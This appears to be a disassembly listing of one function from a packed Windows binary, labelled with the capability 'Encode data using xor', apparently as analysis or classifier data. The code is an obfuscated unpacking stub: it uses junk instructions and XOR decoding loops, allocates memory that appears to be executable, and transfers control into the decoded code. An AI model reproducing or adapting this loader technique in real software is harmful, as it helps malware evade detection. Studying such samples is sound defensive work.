Function at 0x47b434
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x222a58c0
dec esi
add ebx, 0x633f3523
popal
or esi, esi
or esi, esi
and ebx, ebx
mov edi, 0
mov eax, ecx
add ebx, edx
inc ebx
mov esi, eax
mov ebx, edx
mov ebx, 0xb259c303
mov ecx, esi
not edx
mov edx, 0x7df68e92
inc edi
or edx, edx
mov edx, ebx
cmp edi, 0x100f87a
jne 0x47b44d
sub edx, ebx
sub edx, 0xfe5e1697
mov esi, ebx
sub esi, 0xdc504fb0
inc esi
mov edx, 0x47b21e
and ecx, esi
and esi, ecx
add ecx, 0x6e9537e9
mov edi, 0x47b412
or ebx, ebx
inc ecx
or ecx, ebx
mov eax, dword [edx]
mov esi, ebx
add ecx, 0xe72575e9
sub ecx, 0x9c635538
and eax, 0xff
and esi, ebx
and ebx, esi
mov ecx, ebx
xor dword [edi], eax
mov ebx, 0x5f9f628
add ecx, 1
add edi, 1
or esi, esi
dec ebx
add ecx, ebx
add edx, 1
inc esi
add ebx, 1
cmp edi, entry0
jl 0x47b49f
dec ebx
add ecx, ebx
add esi, 1
add esi, ecx
sub esi, edx
add esi, esi
dec esi
mov ebx, 0x47b416
dec edi
sub edi, 0x2d191724
mov ebx, dword [ebx]
sub edx, 0x8c767e22
not ecx
mov ebx, dword [ebx]
sub ecx, edx
not edx
sub esp, 4
mov dword [esp], ebx
inc edx
not esi
mov ebx, 0x47b412
and edx, edx
sub esi, ecx
add esi, ecx
mov ebx, dword [ebx]
sub esi, 0xa023f704
mov edx, esi
mov ecx, 0xc9dcec0e
mov ebx, dword [ebx]
or edx, edx
or edi, ecx
mov edx, 0x9219cfa3
push 0x47b41a
mov esi, edx
sub edi, esi
call ebx
add edi, esi
add edx, 0x4754e3de
or edi, edi
pop ebx
or ecx, ecx
add edi, 0xecbccad6
sub esi, edx
push 0x47b427
mov edx, 0xaa447ba8
add ecx, 1
push eax
or esi, edi
add edi, 0x1ffe2d4
call ebx
and edi, ecx
mov esi, 0xb428a94b
push 0x40
inc edi
sub edi, 0x9dd1455
push 0x3000
add edx, edi
and esi, edx
sub esp, 4
mov dword [esp], 0x20000d74
mov edx, 0x635048ee
dec edx
not edx
push 0
or ecx, edi
inc edi
call eax
dec ecx
mov edi, esi
mov ecx, 0x1025d3fd
add eax, 0x20000cad
or esi, edi
sub edx, 0x9316ac10
mov ebx, 0xaf38b1f4
not ecx
and ecx, edi
mov dword [eax], ebx
dec edi
add esi, esi
add edi, esi
mov ebx, dword [eax]
sub edi, 0xfc5cd26
add edx, 1
add edi, 0xc0822af4
cmp ebx, 0xaf38b1f4
je 0x47b602
mov ebx, 0
mov byte [ebx], al
mov edi, esi
not edi
inc edx
sub edx, 1
add edx, 1
and edi, esi
mov esi, ebx
not esi
mov eax, section.UPX1
add ebx, esi
sub ebx, 0xe03d8477
and esi, esi
mov ecx, 0x47b21d
sub ebx, 0xbb488ba2
mov ebx, 0x56f74925
mov edx, 0
or ebx, ebx
inc ebx
add ebx, 0x6efa85b1
mov edi, 0x47b21e
not esi
not ebx
lea edi, [edx + edi]
sub ebx, esi
add ebx, esi
add esi, 0x13dff373
mov edi, dword [edi]
inc esi
mov ebx, 0x6be1976e
and edi, 0xff
mov esi, 0x49ec241c
mov ebx, 0x928d3d1d
inc edx
not esi
or ebx, ebx
add ebx, 0x9f3da468
cmp edx, 0x1f4
jne 0x47b68c
mov edx, 0
mov esi, ebx
not ebx
add esi, ebx
or ebx, esi
xor dword [eax], edi
dec ebx
sub esi, 0x60df2025
add eax, 2
add esi, esi
or esi, esi
cmp eax, ecx
jl 0x47b646
not ebx
not ebx
or ebx, ebx
sub esi, 0xc995c93c
not esi
sub esi, 0x8905a1bb
mov ecx, section.UPX1
not ebx
mov edi, 0xd12df881
sub ebx, 0x2f0b92f6
mov esi, section.UPX1
mov ebx, 0x123d0595
inc ebx
and ebx, edi
mov edx, 0x47b21d
or edi, edi
inc edi
mov eax, 0
dec ebx
sub edi, 0xb4d6c885
and ebx, ebx
mov al, byte [esi]
add ebx, 0xfed0ab2e
sub ebx, 0xc01d4881
mov byte [ecx], al
add edi, ebx
and edi, ebx
inc ecx
sub edi, ebx
dec ebx
add esi, 2
mov ebx, 0x66ba4e2d
add ebx, ebx
add ebx, 0x234ad1fe
cmp esi, edx
jle 0x47b6f8
and edi, edi
not ebx
and ebx, ebx
mov esi, ebx
mov ebx, 0x4187c29a
push 0x45e6a0
mov ebx, esi
inc esi
dec esi
ret